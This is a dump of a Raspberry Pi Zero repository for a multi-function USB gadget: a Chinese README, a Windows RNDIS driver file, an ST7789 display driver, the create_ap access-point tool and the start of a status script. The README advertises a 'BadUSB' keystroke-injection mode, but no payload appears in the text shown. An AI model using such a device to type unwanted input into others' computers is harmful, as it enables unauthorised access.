├── README.md ├── RPI_Driver_OTG ├── RNDIS.inf └── rndis.cat ├── ST7789.py ├── ST7789.pyc ├── create_ap ├── LICENSE ├── Makefile ├── README.md ├── bash_completion ├── create_ap ├── create_ap.conf ├── create_ap.service └── howto │ └── realtek.md ├── font ├── Bodoni_Bold_Italic.ttf ├── Edmunds_Distressed.ttf ├── Geometr.ttf ├── Hollywood_Hills_Italic.ttf ├── Pavane.ttf ├── Soopafresh.ttf └── UniTortred.ttf ├── get_info.sh ├── html ├── .DS_Store ├── __pycache__ │ ├── app.cpython-37.pyc │ └── run_server.cpython-37.pyc ├── run_server.py ├── static │ ├── 1.mp4 │ ├── 1.png │ ├── 10.jpg │ ├── 11.jpg │ ├── 12.jpg │ ├── 13.png │ ├── 14.jpg │ ├── 2.jpg │ ├── 2.mp4 │ ├── 3.png │ ├── 4.png │ ├── 5.png │ ├── 6.png │ ├── 7.png │ ├── 8.png │ ├── 9.jpg │ ├── hut1_12v2.pdf │ ├── markdown.css │ └── style.css └── templates │ ├── .DS_Store │ ├── badUSB.html │ ├── display_button.html │ ├── index.html │ ├── layout.html │ ├── os_install.html │ ├── usb_ether.html │ └── wireless_AP.html ├── key_demo.py ├── keyboard ├── LICENSE ├── README.md ├── dictionary.txt ├── enable_hid.service ├── enable_hid.sh ├── hardpass-sendHID │ ├── LICENSE │ ├── Makefile │ ├── README.md │ ├── hardpass-demo.sh │ ├── main.c │ ├── scan │ ├── scancodes.c │ └── scancodes.h ├── hid_kbd.txt ├── hid_kbd1.txt ├── hid_kbd2.txt ├── hid_kbd_simplify.txt ├── hid_key_value.txt ├── open_cmd.cmd2run ├── read_input.sh ├── scan ├── setup.sh ├── write_warning.cmd2run └── write_warning_linux.cmd2run ├── main.py └── pic ├── bg.jpg ├── bye.jpg └── hi.jpg /README.md: -------------------------------------------------------------------------------- 1 | > 基于RaspberryPi Zero + Zero Key + 扩展板ST7789 实现多功能U盘 2 | 3 | ### 功能简介 4 | #### 单功能实现 5 | 6 | - 迷你编译环境 7 | - Python自带web服务器 8 | - 扩展板菜单栏显示与选择 9 | - U盘模式 10 | - 网卡模式 11 | - AP模式 12 | - BadUSB 模式 13 | 14 | #### 组合功能 15 | - 扩展板菜单栏显示与选择 + BadUSB模式:实现脚本化键盘输入 16 | - 扩展板菜单栏显示与选择 + AP模式 + BadUSB模式:实现手机端控制电脑键盘输入 17 | - 扩展板菜单栏显示与选择 + U盘模式 + 迷你编译环境和文件导出 18 | - ... 19 | 20 | ### 菜单详情 21 | 22 | 1. Get Status 获取当前树莓派状态,如IP,温度,服务状态等 23 | 2. U Disk Mode U盘模式 24 | 3. Ether Mode 网卡模式 25 | 4. AP Mode AP模式 26 | 5. Keyboard Mode 键盘模式 27 | 6. Flash U Disk 刷新映射出去的U盘的文件内容 28 | 7. Re-GetIP 重新获取IP或查看IP 29 | 8. Cat Cmdline 查看cmdline配置信息 30 | 9. Cat WlanCfg 查看Wlan配置文件 31 | 10. Export Log 导出log到mnt下,切换为U盘模式后可导出 32 | 11. REBOOT 重启 33 | 12. POWEROFF 关机 34 | 13. EXIT 退出 35 | -------------------------------------------------------------------------------- /RPI_Driver_OTG/RNDIS.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; FIH Device Driver 3 | ; 4 | ; This INF works for Windows XP SP2, Windows XP x64, 5 | ; and Windows Vista x86 and x64. 6 | ; This INF will work with Windows XP, and Windows XP SP1 7 | ; after applying specific hotfixes. 8 | ; 9 | 10 | [Version] 11 | Signature = "$Windows NT$" 12 | Class = Net 13 | ClassGUID = {4d36e972-e325-11ce-bfc1-08002be10318} 14 | Provider = %Provider% 15 | DriverVer = 01/13/2010,1.0.0.0 16 | CatalogFile = RNDIS.cat 17 | 18 | [Manufacturer] 19 | %Provider% = RndisDevices,NTx86,NTamd64,NTia64 20 | 21 | ; Decoration for x86 architecture 22 | [RndisDevices.NTx86] 23 | %RndisDevice.COMM% = RNDIS.NT.5.1, USB\VID_0525&PID_A4A2 24 | %RndisDevice.ACER% = RNDIS.NT.5.1, USB\VID_0502&PID_3210 25 | 26 | ; Decoration for x64 architecture 27 | [RndisDevices.NTamd64] 28 | %RndisDevice.COMM% = RNDIS.NT.5.1, USB\VID_0525&PID_A4A2 29 | %RndisDevice.ACER% = RNDIS.NT.5.1, USB\VID_0502&PID_3210 30 | 31 | ; Decoration for ia64 architecture 32 | [RndisDevices.NTia64] 33 | %RndisDevice.COMM% = RNDIS.NT.5.1, USB\VID_0525&PID_A4A2 34 | %RndisDevice.ACER% = RNDIS.NT.5.1, USB\VID_0502&PID_3210 35 | 36 | ;@@@ This is the common setting for setup 37 | [ControlFlags] 38 | ExcludeFromSelect = * 39 | 40 | ; DDInstall section 41 | ; References the in-build Netrndis.inf 42 | [RNDIS.NT.5.1] 43 | Characteristics = 0x84 ; NCF_PHYSICAL + NCF_HAS_UI 44 | BusType = 15 45 | DriverVer = 01/13/2010,1.0.0.0 46 | AddReg = Rndis_AddReg_Vista 47 | 48 | [RNDIS.NT.5.1.Services] 49 | AddService = USB_RNDIS, 2, RNDIS_ServiceInst_Vista, RNDIS_EventLog 50 | 51 | ; Optional registry settings. You can modify as needed. 52 | [RNDIS_AddReg_Vista] 53 | HKR, Ndi, Service, 0, "USB_RNDIS" 54 | HKR, Ndi\Interfaces, UpperRange, 0, "ndis5" 55 | HKR, Ndi\Interfaces, LowerRange, 0, "ethernet" 56 | HKR, NDI\params\NetworkAddress, ParamDesc, 0, %NetworkAddress% 57 | HKR, NDI\params\NetworkAddress, type, 0, "edit" 58 | HKR, NDI\params\NetworkAddress, LimitText, 0, "12" 59 | HKR, NDI\params\NetworkAddress, UpperCase, 0, "1" 60 | HKR, NDI\params\NetworkAddress, default, 0, " " 61 | HKR, NDI\params\NetworkAddress, optional, 0, "1" 62 | 63 | 64 | [RNDIS_ServiceInst_Vista] 65 | DisplayName = %ServiceDisplayName% 66 | ServiceType = 1 67 | StartType = 3 68 | ErrorControl = 1 69 | ServiceBinary = %12%\usb8023.sys 70 | LoadOrderGroup = NDIS 71 | AddReg = RNDIS_WMI_AddReg_Vista 72 | 73 | 74 | [RNDIS_EventLog] 75 | AddReg = RNDIS_EventLog_AddReg 76 | 77 | [RNDIS_EventLog_AddReg] 78 | HKR, , EventMessageFile, 0x00020000, "%%SystemRoot%%\System32\netevent.dll" 79 | HKR, , TypesSupported, 0x00010001, 7 80 | 81 | [RNDIS_WMI_AddReg_Vista] 82 | HKR, , MofImagePath, 0x00020000, "System32\drivers\rndismp.sys" 83 | 84 | ; No sys copyfiles - the sys files are already in-build 85 | ; (part of the operating system). 86 | 87 | [SourceDisksNames] 88 | 1 = %SourceDisk%,,1 89 | 90 | [SourceDisksFiles] 91 | usb8023m.sys = 1 92 | rndismpm.sys = 1 93 | usb8023w.sys = 1 94 | rndismpw.sys = 1 95 | usb8023k.sys = 1 96 | rndismpk.sys = 1 97 | 98 | 99 | ; Modify these strings for your device as needed. 100 | [Strings] 101 | Provider = "Acer Incorporated." 102 | ServiceDisplayName = "USB Remote NDIS Network Device Driver" 103 | NetworkAddress = "Network Address" 104 | SourceDisk = "Ethernet/RNDIS Gadget Driver Install Disk" 105 | 106 | RndisDevice.COMM = "USB Ethernet/RNDIS Gadget" 107 | RndisDevice.ACER = "Acer Netchip RNDIS/Ethernet Gadget" 108 | -------------------------------------------------------------------------------- /RPI_Driver_OTG/rndis.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/RPI_Driver_OTG/rndis.cat -------------------------------------------------------------------------------- /ST7789.py: -------------------------------------------------------------------------------- 1 | import spidev 2 | import RPi.GPIO as GPIO 3 | import time 4 | import numpy as np 5 | 6 | 7 | class ST7789(object): 8 | """class for ST7789 240*240 1.3inch OLED displays.""" 9 | 10 | def __init__(self,spi,rst = 27,dc = 25,bl = 24): 11 | self.width = 240 12 | self.height = 240 13 | #Initialize DC RST pin 14 | self._dc = dc 15 | self._rst = rst 16 | self._bl = bl 17 | GPIO.setmode(GPIO.BCM) 18 | GPIO.setwarnings(False) 19 | GPIO.setup(self._dc,GPIO.OUT) 20 | GPIO.setup(self._rst,GPIO.OUT) 21 | GPIO.setup(self._bl,GPIO.OUT) 22 | GPIO.output(self._bl, GPIO.HIGH) 23 | #Initialize SPI 24 | self._spi = spi 25 | self._spi.max_speed_hz = 40000000 26 | 27 | """ Write register address and data """ 28 | def command(self, cmd): 29 | GPIO.output(self._dc, GPIO.LOW) 30 | self._spi.writebytes([cmd]) 31 | 32 | def data(self, val): 33 | GPIO.output(self._dc, GPIO.HIGH) 34 | self._spi.writebytes([val]) 35 | 36 | def Init(self): 37 | """Initialize dispaly""" 38 | self.reset() 39 | 40 | self.command(0x11) 41 | time.sleep(1.2) 42 | self.command(0x36) 43 | self.data(0X70) 44 | 45 | self.command(0x3A) 46 | self.data(0x05) 47 | 48 | self.command(0xB2) 49 | self.data(0x0C) 50 | self.data(0x0C) 51 | self.data(0x00) 52 | self.data(0x33) 53 | self.data(0x33) 54 | 55 | self.command(0xB7) 56 | self.data(0x35) 57 | 58 | self.command(0xBB) 59 | self.data(0x37) 60 | 61 | self.command(0xC0) 62 | self.data(0x2C) 63 | 64 | self.command(0xC2) 65 | self.data(0x01) 66 | 67 | self.command(0xC3) 68 | self.data(0x12) 69 | 70 | self.command(0xC4) 71 | self.data(0x20) 72 | 73 | self.command(0xC6) 74 | self.data(0x0F) 75 | 76 | self.command(0xD0) 77 | self.data(0xA4) 78 | self.data(0xA1) 79 | 80 | self.command(0xE0) 81 | self.data(0xD0) 82 | self.data(0x04) 83 | self.data(0x0D) 84 | self.data(0x11) 85 | self.data(0x13) 86 | self.data(0x2B) 87 | self.data(0x3F) 88 | self.data(0x54) 89 | self.data(0x4C) 90 | self.data(0x18) 91 | self.data(0x0D) 92 | self.data(0x0B) 93 | self.data(0x1F) 94 | self.data(0x23) 95 | 96 | self.command(0xE1) 97 | self.data(0xD0) 98 | self.data(0x04) 99 | self.data(0x0C) 100 | self.data(0x11) 101 | self.data(0x13) 102 | self.data(0x2C) 103 | self.data(0x3F) 104 | self.data(0x44) 105 | self.data(0x51) 106 | self.data(0x2F) 107 | self.data(0x1F) 108 | self.data(0x1F) 109 | self.data(0x20) 110 | self.data(0x23) 111 | 112 | self.command(0x21) 113 | 114 | self.command(0x29) 115 | 116 | def reset(self): 117 | """Reset the display""" 118 | GPIO.output(self._rst,GPIO.HIGH) 119 | time.sleep(0.01) 120 | GPIO.output(self._rst,GPIO.LOW) 121 | time.sleep(0.01) 122 | GPIO.output(self._rst,GPIO.HIGH) 123 | time.sleep(0.01) 124 | 125 | def SetWindows(self, Xstart, Ystart, Xend, Yend): 126 | #set the X coordinates 127 | self.command(0x2A) 128 | self.data(0x00) #Set the horizontal starting point to the high octet 129 | self.data(Xstart & 0xff) #Set the horizontal starting point to the low octet 130 | self.data(0x00) #Set the horizontal end to the high octet 131 | self.data((Xend - 1) & 0xff) #Set the horizontal end to the low octet 132 | 133 | #set the Y coordinates 134 | self.command(0x2B) 135 | self.data(0x00) 136 | self.data((Ystart & 0xff)) 137 | self.data(0x00) 138 | self.data((Yend - 1) & 0xff ) 139 | 140 | self.command(0x2C) 141 | 142 | def ShowImage(self,Image,Xstart,Ystart): 143 | """Set buffer to value of Python Imaging Library image.""" 144 | """Write display buffer to physical display""" 145 | imwidth, imheight = Image.size 146 | if imwidth != self.width or imheight != self.height: 147 | raise ValueError('Image must be same dimensions as display \ 148 | ({0}x{1}).' .format(self.width, self.height)) 149 | img = np.asarray(Image) 150 | pix = np.zeros((self.width,self.height,2), dtype = np.uint8) 151 | pix[...,[0]] = np.add(np.bitwise_and(img[...,[0]],0xF8),np.right_shift(img[...,[1]],5)) 152 | pix[...,[1]] = np.add(np.bitwise_and(np.left_shift(img[...,[1]],3),0xE0),np.right_shift(img[...,[2]],3)) 153 | pix = pix.flatten().tolist() 154 | self.SetWindows ( 0, 0, self.width, self.height) 155 | GPIO.output(self._dc,GPIO.HIGH) 156 | for i in range(0,len(pix),4096): 157 | self._spi.writebytes(pix[i:i+4096]) 158 | 159 | def clear(self): 160 | """Clear contents of image buffer""" 161 | _buffer = [0xff]*(self.width * self.height * 2) 162 | self.SetWindows ( 0, 0, self.width, self.height) 163 | GPIO.output(self._dc,GPIO.HIGH) 164 | for i in range(0,len(_buffer),4096): 165 | self._spi.writebytes(_buffer[i:i+4096]) 166 | -------------------------------------------------------------------------------- /ST7789.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/ST7789.pyc -------------------------------------------------------------------------------- /create_ap/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013, oblique 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /create_ap/Makefile: -------------------------------------------------------------------------------- 1 | PREFIX=/usr 2 | MANDIR=$(PREFIX)/share/man 3 | BINDIR=$(PREFIX)/bin 4 | 5 | all: 6 | @echo "Run 'make install' for installation." 7 | @echo "Run 'make uninstall' for uninstallation." 8 | 9 | install: 10 | install -Dm755 create_ap $(DESTDIR)$(BINDIR)/create_ap 11 | install -Dm644 create_ap.conf $(DESTDIR)/etc/create_ap.conf 12 | [ ! -d /lib/systemd/system ] || install -Dm644 create_ap.service $(DESTDIR)$(PREFIX)/lib/systemd/system/create_ap.service 13 | install -Dm644 bash_completion $(DESTDIR)$(PREFIX)/share/bash-completion/completions/create_ap 14 | install -Dm644 README.md $(DESTDIR)$(PREFIX)/share/doc/create_ap/README.md 15 | 16 | uninstall: 17 | rm -f $(DESTDIR)$(BINDIR)/create_ap 18 | rm -f $(DESTDIR)/etc/create_ap.conf 19 | [ ! -f /lib/systemd/system/create_ap.service ] || rm -f $(DESTDIR)$(PREFIX)/lib/systemd/system/create_ap.service 20 | rm -f $(DESTDIR)$(PREFIX)/share/bash-completion/completions/create_ap 21 | rm -f $(DESTDIR)$(PREFIX)/share/doc/create_ap/README.md 22 | -------------------------------------------------------------------------------- /create_ap/README.md: -------------------------------------------------------------------------------- 1 | ## Features 2 | * Create an AP (Access Point) at any channel. 3 | * Choose one of the following encryptions: WPA, WPA2, WPA/WPA2, Open (no encryption). 4 | * Hide your SSID. 5 | * Disable communication between clients (client isolation). 6 | * IEEE 802.11n & 802.11ac support 7 | * Internet sharing methods: NATed or Bridged or None (no Internet sharing). 8 | * Choose the AP Gateway IP (only for 'NATed' and 'None' Internet sharing methods). 9 | * You can create an AP with the same interface you are getting your Internet connection. 10 | * You can pass your SSID and password through pipe or through arguments (see examples). 11 | 12 | 13 | ## Dependencies 14 | ### General 15 | * bash (to run this script) 16 | * util-linux (for getopt) 17 | * procps or procps-ng 18 | * hostapd 19 | * iproute2 20 | * iw 21 | * iwconfig (you only need this if 'iw' can not recognize your adapter) 22 | * haveged (optional) 23 | 24 | ### For 'NATed' or 'None' Internet sharing method 25 | * dnsmasq 26 | * iptables 27 | 28 | 29 | ## Installation 30 | ### Generic 31 | git clone https://github.com/oblique/create_ap 32 | cd create_ap 33 | make install 34 | 35 | ### ArchLinux 36 | pacman -S create_ap 37 | 38 | ### Gentoo 39 | emerge layman 40 | layman -f -a jorgicio 41 | emerge net-wireless/create_ap 42 | 43 | ## Examples 44 | ### No passphrase (open network): 45 | create_ap wlan0 eth0 MyAccessPoint 46 | 47 | ### WPA + WPA2 passphrase: 48 | create_ap wlan0 eth0 MyAccessPoint MyPassPhrase 49 | 50 | ### AP without Internet sharing: 51 | create_ap -n wlan0 MyAccessPoint MyPassPhrase 52 | 53 | ### Bridged Internet sharing: 54 | create_ap -m bridge wlan0 eth0 MyAccessPoint MyPassPhrase 55 | 56 | ### Bridged Internet sharing (pre-configured bridge interface): 57 | create_ap -m bridge wlan0 br0 MyAccessPoint MyPassPhrase 58 | 59 | ### Internet sharing from the same WiFi interface: 60 | create_ap wlan0 wlan0 MyAccessPoint MyPassPhrase 61 | 62 | ### Choose a different WiFi adapter driver 63 | create_ap --driver rtl871xdrv wlan0 eth0 MyAccessPoint MyPassPhrase 64 | 65 | ### No passphrase (open network) using pipe: 66 | echo -e "MyAccessPoint" | create_ap wlan0 eth0 67 | 68 | ### WPA + WPA2 passphrase using pipe: 69 | echo -e "MyAccessPoint\nMyPassPhrase" | create_ap wlan0 eth0 70 | 71 | ### Enable IEEE 802.11n 72 | create_ap --ieee80211n --ht_capab '[HT40+]' wlan0 eth0 MyAccessPoint MyPassPhrase 73 | 74 | ### Client Isolation: 75 | create_ap --isolate-clients wlan0 eth0 MyAccessPoint MyPassPhrase 76 | 77 | ## Systemd service 78 | Using the persistent [systemd](https://wiki.archlinux.org/index.php/systemd#Basic_systemctl_usage) service 79 | ### Start service immediately: 80 | systemctl start create_ap 81 | 82 | ### Start on boot: 83 | systemctl enable create_ap 84 | 85 | 86 | ## License 87 | FreeBSD 88 | -------------------------------------------------------------------------------- /create_ap/bash_completion: -------------------------------------------------------------------------------- 1 | # 2 | # Bash Completion routine for create_ap 3 | # 4 | 5 | _use_filedir() { 6 | if [[ $(type -t _filedir) == "function" ]]; then 7 | _filedir 8 | return 0 9 | fi 10 | return 1 11 | } 12 | 13 | _create_ap() { 14 | local awk_cmd=' 15 | ($1 ~ /^-/) { 16 | for (i = 1; i <= NF; i++) { 17 | if ($i ~ /,$/) { 18 | print substr ($i, 0, length ($i)-1) 19 | } 20 | else { 21 | print $i 22 | break 23 | } 24 | } 25 | } 26 | ' 27 | 28 | local cur prev opts 29 | COMPREPLY=() 30 | cur="$2" 31 | prev="$3" 32 | opts=$("$1" --help | awk "$awk_cmd") 33 | 34 | case "$prev" in 35 | -h|--help) 36 | # No Options 37 | ;; 38 | --version) 39 | # No Options 40 | ;; 41 | -c) 42 | # Refer http://en.wikipedia.org/wiki/List_of_WLAN_channels 43 | opts=$( 44 | iw list | grep ' MHz \[[[:digit:]]\+\] ' | 45 | grep -v 'no IR\|disabled' | 46 | sed 's/.*\[\(.*\)\].*/\1/' | sort -n | uniq 47 | ) 48 | ;; 49 | -w) 50 | opts="1 2 1+2" 51 | ;; 52 | -n) 53 | # No Options 54 | ;; 55 | -m) 56 | opts="nat bridge none" 57 | ;; 58 | --psk) 59 | # No Options 60 | ;; 61 | --hidden) 62 | # No Options 63 | ;; 64 | --mac-filter) 65 | # No Options 66 | ;; 67 | --mac-filter-accept) 68 | # No Options 69 | ;; 70 | --ieee80211n) 71 | # No Options 72 | ;; 73 | --ht_capab) 74 | # Refer http://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf 75 | opts=' 76 | [LDPC] [HT40-] [HT40+] [SMPS-STATIC] [SMPS-DYNAMIC] 77 | [GF] [SHORT-GI-20] [SHORT-GI-40] [TX-STBC] 78 | [RX-STBC1] [RX-STBC12] [RX-STBC123] [DELAYED-BA] 79 | [MAX-AMSDU-7935] [DSSS_CCK-40] [40-INTOLERANT] 80 | [LSIG-TXOP-PROT] 81 | ' 82 | ;; 83 | --country) 84 | local reg_file=/usr/lib/crda/regulatory.bin 85 | if command -v regdbdump > /dev/null && [[ -f "$reg_file" ]]; then 86 | local country_awk_cmd=' 87 | ($1 ~ /^country/) { 88 | print substr ($2, 0, length ($2)-1) 89 | } 90 | ' 91 | opts=$(regdbdump "$reg_file" 2>/dev/null | awk "$country_awk_cmd") 92 | else 93 | opts=' 94 | AD AE AF AI AL AM AN AR AS AT AU AW AZ BA BB BD BE 95 | BF BG BH BL BM BN BO BR BS BT BY BZ CA CF CH CI CL 96 | CN CO CR CX CY CZ DE DK DM DO DZ EC EE EG ES ET FI 97 | FM FR GB GD GE GF GH GL GP GR GT GU GY HK HN HR HT 98 | HU ID IE IL IN IR IS IT JM JO JP KE KH KN KP KR KW 99 | KY KZ LB LC LI LK LS LT LU LV MA MC MD ME MF MH MK 100 | MN MO MP MQ MR MT MU MW MX MY NG NI NL NO NP NZ OM 101 | PA PE PF PG PH PK PL PM PR PT PW PY QA RE RO RS RU 102 | RW SA SE SG SI SK SN SR SV SY TC TD TG TH TN TR TT 103 | TW TZ UA UG US UY UZ VC VE VI VN VU WF WS YE YT ZA 104 | ZW 00 105 | ' 106 | fi 107 | ;; 108 | --freq-band) 109 | opts="2.4 5" 110 | ;; 111 | --driver) 112 | # Refer http://w1.fi/cgit/hostap/tree/src/drivers 113 | # Not going to implement 114 | ;; 115 | --no-virt) 116 | # No Options 117 | ;; 118 | --no-haveged) 119 | # No Options 120 | ;; 121 | --fix-unmanaged) 122 | # No Options 123 | ;; 124 | --mac) 125 | # Not going to implement 126 | ;; 127 | --daemon) 128 | # No Options 129 | ;; 130 | --stop) 131 | local stop_awk_cmd='$1 ~ /^[0-9]+$/' 132 | opts=$("$1" --list-running | awk "$stop_awk_cmd") 133 | ;; 134 | --list-running) 135 | # No Options 136 | ;; 137 | --list-clients) 138 | local clients_awk_cmd='$1 ~ /^[0-9]+$/' 139 | opts=$("$1" --list-running | awk "$clients_awk_cmd") 140 | ;; 141 | --no-dns) 142 | # No Options 143 | ;; 144 | --dhcp-dns) 145 | # Not going to implement 146 | ;; 147 | --mkconfig) 148 | _use_filedir && return 0 149 | ;; 150 | --config) 151 | _use_filedir && return 0 152 | ;; 153 | -g) 154 | # Not going to implement 155 | ;; 156 | -d) 157 | # No Options 158 | ;; 159 | *) 160 | ;; 161 | esac 162 | 163 | COMPREPLY=( $(compgen -W "$opts" -- $cur) ) 164 | return 0 165 | } 166 | complete -F _create_ap create_ap 167 | 168 | # vim: set ft=sh: 169 | -------------------------------------------------------------------------------- /create_ap/create_ap.conf: -------------------------------------------------------------------------------- 1 | CHANNEL=default 2 | GATEWAY=10.0.0.1 3 | WPA_VERSION=2 4 | ETC_HOSTS=0 5 | DHCP_DNS=gateway 6 | NO_DNS=0 7 | NO_DNSMASQ=0 8 | HIDDEN=0 9 | MAC_FILTER=0 10 | MAC_FILTER_ACCEPT=/etc/hostapd/hostapd.accept 11 | ISOLATE_CLIENTS=0 12 | SHARE_METHOD=nat 13 | IEEE80211N=0 14 | IEEE80211AC=0 15 | HT_CAPAB=[HT40+] 16 | VHT_CAPAB= 17 | DRIVER=nl80211 18 | NO_VIRT=0 19 | COUNTRY= 20 | FREQ_BAND=2.4 21 | NEW_MACADDR= 22 | DAEMONIZE=0 23 | NO_HAVEGED=0 24 | WIFI_IFACE=wlan0 25 | INTERNET_IFACE=eth0 26 | SSID=MyAccessPoint 27 | PASSPHRASE=12345678 28 | USE_PSK=0 29 | -------------------------------------------------------------------------------- /create_ap/create_ap.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Create AP Service 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/usr/bin/create_ap --config /etc/create_ap.conf 8 | KillSignal=SIGINT 9 | Restart=on-failure 10 | RestartSec=5 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /create_ap/howto/realtek.md: -------------------------------------------------------------------------------- 1 | ## Try this first 2 | 3 | If you are facing any problems with Realtek adapters (e.g. Edimax EW-7811Un) 4 | first try to run create_ap with `-w 2` (i.e. use WPA2 only) or use it 5 | without passphrase. If you are still facing any problems or you want to 6 | also use WPA1, then follow the instructions below. 7 | 8 | NOTE: The instructions below are only valid for Realtek adapters with 8192 chipset. 9 | 10 | ## Before installation 11 | 12 | If you're using ArchLinux, run: 13 | 14 | ``` 15 | pacman -S base-devel linux-headers dkms git 16 | pacman -R hostapd 17 | ``` 18 | 19 | If you're using Debian, Ubuntu, or any Debian-based distribution, run: 20 | 21 | ``` 22 | apt-get install build-essential linux-headers-generic dkms git 23 | apt-get remove hostapd 24 | apt-get build-dep hostapd 25 | ``` 26 | 27 | ## Install driver 28 | 29 | The driver in the mainline of Linux kernel doesn't work well with the 8192 adapters. 30 | For this reason you need to install the driver that is provided from Realtek. Their 31 | driver can not be compiled with newer kernels, but since it was an open-source 32 | release under GPL license some people were able to fixed it and make it compile. 33 | 34 | With the following commands you can install a fixed version of Realtek's driver: 35 | 36 | ``` 37 | git clone https://github.com/pvaret/rtl8192cu-fixes.git 38 | dkms add rtl8192cu-fixes 39 | dkms install 8192cu/1.9 40 | cp rtl8192cu-fixes/blacklist-native-rtl8192.conf /etc/modprobe.d 41 | cp rtl8192cu-fixes/8192cu-disable-power-management.conf /etc/modprobe.d 42 | ``` 43 | 44 | After installation, unload the previous driver and load the new one, or just reboot. 45 | 46 | ## Install hostapd 47 | 48 | Realtek's driver is using an old subsystem which is called `wireless-extensions` 49 | (or `wext`). Hostapd works only with the new subsystem (which is called `nl80211`). 50 | For this reason Realtek wrote a patch for hostapd. You can install it with the 51 | following commands: 52 | 53 | If you have ArchLinux install [hostapd-rtl871xdrv](https://aur.archlinux.org/packages/hostapd-rtl871xdrv) 54 | from AUR or just run: 55 | 56 | ``` 57 | yaourt -S hostapd-rtl871xdrv 58 | ``` 59 | 60 | If you're using any other distribution, run: 61 | 62 | ``` 63 | git clone https://github.com/pritambaral/hostapd-rtl871xdrv.git 64 | wget http://w1.fi/releases/hostapd-2.2.tar.gz 65 | tar zxvf hostapd-2.2.tar.gz 66 | cd hostapd-2.2 67 | patch -p1 -i ../hostapd-rtl871xdrv/rtlxdrv.patch 68 | cp ../hostapd-rtl871xdrv/driver_* src/drivers 69 | cd hostapd 70 | cp defconfig .config 71 | echo CONFIG_DRIVER_RTW=y >> .config 72 | make 73 | make install 74 | ``` 75 | -------------------------------------------------------------------------------- /font/Bodoni_Bold_Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Bodoni_Bold_Italic.ttf -------------------------------------------------------------------------------- /font/Edmunds_Distressed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Edmunds_Distressed.ttf -------------------------------------------------------------------------------- /font/Geometr.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Geometr.ttf -------------------------------------------------------------------------------- /font/Hollywood_Hills_Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Hollywood_Hills_Italic.ttf -------------------------------------------------------------------------------- /font/Pavane.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Pavane.ttf -------------------------------------------------------------------------------- /font/Soopafresh.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/Soopafresh.ttf -------------------------------------------------------------------------------- /font/UniTortred.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/font/UniTortred.ttf -------------------------------------------------------------------------------- /get_info.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ############################################### 3 | # Filename : get_info.sh 4 | # Author : PedroQin 5 | # Email : pedro.hq.qin@mail.foxconn.com 6 | # Date : 2020-01-21 10:56:25 7 | # Description : 8 | # Version : 1.0.0 9 | ############################################### 10 | 11 | 12 | whereami=`cd $(dirname $0);pwd` 13 | 14 | # show message in green 15 | function green_message() 16 | { 17 | #tput bold 18 | #echo -ne "\033[32m$@\033[0m" 19 | echo -ne "$@" 20 | #tput sgr0 21 | echo 22 | } 23 | 24 | #show message in yellow 25 | function yellow_message() 26 | { 27 | #tput bold 28 | #echo -ne "\033[33m$@\033[0m" 29 | echo -ne "$@" 30 | #tput sgr0 31 | echo 32 | } 33 | 34 | # show message in red 35 | function red_message() 36 | { 37 | #tput bold 38 | #echo -ne "\033[31m$@\033[0m" 39 | echo -ne "$@" 40 | #tput sgr0 